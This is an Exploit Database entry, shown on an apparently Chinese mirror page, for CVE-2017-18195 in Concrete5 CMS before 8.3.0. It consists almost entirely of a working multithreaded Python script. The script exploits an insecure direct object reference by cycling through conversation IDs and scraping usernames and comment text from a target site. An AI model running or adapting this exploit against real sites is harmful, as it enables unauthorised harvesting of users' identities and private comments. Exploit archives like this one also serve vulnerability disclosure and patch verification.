Concrete5 CMS < 8.3.0 - Username / Comments Enumeration

• Exploit Database
• 16 阅读

• 作者： Chapman Schleiss
  日期： 2018-02-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44194/

• #!/usr/bin/env python3
  
  # Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
  # CVE-2017-18195
  # Chapman (R3naissance) Schleiss
  
  from queue import Queue
  from threading import Thread
  from bs4 import BeautifulSoup
  from tabulate import tabulate
  import argparse
  import requests
  import logging
  
  parser = argparse.ArgumentParser(
  description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
  )
  parser.add_argument('-u','--url', action='store', dest='url', required=True,
  					help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
  parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
  help='Where to start enumeration')
  parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
  help='Where to end enumeration')
  parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
  help='This boolean flag will trigger all raw information to stdout')
  args = parser.parse_args()
  
  if args.verbose:
  	logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
  else:
  	logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')
  
  if args.start_id is None:
  	args.start_id = 1
  if args.end_id is None:
  	args.end_id = 10
  
  def crawl(q, result):
  	while not q.empty():
  		work = q.get()
  		logging.debug("Requesting cnvID: " + str(work))
  		try:
  			response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
  			logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
  			if response.status_code < 400 or response.status_code > 499:
  				logging.debug("Parsing html and adding comments to results list")
  				soup = BeautifulSoup(response.text, 'html.parser')
  				username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
  				message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
  				for i in range(len(username)):
  					results.append((work, username[i].text.strip(), message[i].text.strip()))
  			logging.info("Completed cnvID: " + str(work))
  		except:
  			logging.error('Error getting cnvID: ' + str(work))
  		q.task_done()
  	return True
  
  q = Queue(maxsize=0)
  
  enum = range(args.start_id, args.end_id + 1)
  num_theads = min(50, len(enum))
  
  results = []
  for i in enum:
  	q.put(i)
  
  for i in range(num_theads):
  	logging.debug('Starting thread ' + str(i))
  	worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
  	worker.setDaemon(True)
  	worker.start()
  
  logging.debug('Waiting for final threads to complete')
  q.join()
  
  logging.info('Enumeration complete')
  
  print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))